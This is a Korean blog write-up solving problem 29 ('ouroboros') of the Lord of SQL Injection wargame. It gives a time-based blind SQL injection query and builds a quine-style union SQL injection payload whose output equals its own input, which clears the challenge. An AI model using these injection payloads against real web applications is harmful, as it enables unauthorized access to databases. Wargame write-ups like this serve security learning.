[LOS] 29번 문제 풀이(ouroboros)
💡 los.rubiya.kr 29번 문제에 대한 풀이입니다.
29번(ouroboros)
문제
풀이
이 문제를 처음 보면, 쉬운 문제로 생각할 것입니다. 우선 pw에 필터링이 거의 걸려있지 않기 때문에, 다음과 같이 timebased blind sql injection을 수행해서 비밀번호의 길이를 알아내려고 시도를 합니다.
select pw from prob_ouroboros where pw='' or if(length(pw)=8,sleep(2),0)#'
하지만 코드를 실행해보면, pw길이가 나오지 않는다는 것을 알 수 있습니다. 즉 테이블 내에는 pw가 존재하지 않습니다.
다음과 같이 union select문을 사용하면 pw 값이 출력이 됩니다.
즉 이 문제를 해결해야 하는 조건은 다음과 같습니다.
$result['pw'] === $_GET['pw']) // 클리어 조건
union select 구문을 이용해서 pw 값을 출력하되($result['pw']),
출력되는 pw 값과 해당 pw 값을 출력하기 위해서 사용된 union select 구문($_GET['pw'])이 같아야 한다.
Quine (Computing)
콰인이란 자기 자신의 코드를 결과로 출력하는 프로그램을 의미합니다. 다음과 같은 quine sql 구문을 이용해서 이번 문제에 적용해야 합니다.
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');
자세한 설명은 출처 블로그에 더 잘 쓰여 있으므로, 저는 활용법에 대한 예제만 몇개 작성해보고 문제를 풀겠습니다.
위의 내용을 활용하는 활용하는 방법은 다음과 같습니다. 우선 이 복잡한 quine 쿼리문의 구조는 간단하게 표현하면 다음과 같이 생각하시면 됩니다.
[prefix] select [quine] [postfix];
인젝션 문제에서 사용하기 위해 union select를 하려면 prefix 부분에 union을 넣어주면 되며, 마지막에 주석 처리 등이 필요하다면 postfix 부분에 #이나 –을 넣어주면 됩니다.
이때, 주의할 점은 하나의 prefix나, postfix를 변경할때는 3번의 변경이 들어간다는 점입니다. 변경해야 하는 지점은 아래의 표시해 놨으며 왜 저기 3부분을 변경해야 하는지는 함수를 천천히 따라가 보면 이해가 되실 겁니다.
[prefix] select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix]
이번 문제에서 적용을 해보겠습니다.
우선 우리 문제에서는 prefix와 postfix가 다음과 같습니다.
- prefix : ‘ union
- postfix : %23
이 부분을 적용해서 quine문을 바꾸면 다음과 같습니다.
'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$") %23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$") %23') %23
주의할 점은 [prefix] 부분에서 싱글쿼터(‘)가 두번째, 세번째 [prefix]에 넣을때는 더블 쿼터(“)로 넣은 부분입니다. 중간에 replace함수에 의해서 어떻게 바뀌는지 따라가 보시길 바랍니다.
이렇게 해서 pw에 값을 넣으면 클리어 할 수 있습니다.
Reference
https://blog.p6.is/quine-sql-injection/ https://aidencom.tistory.com/325
댓글남기기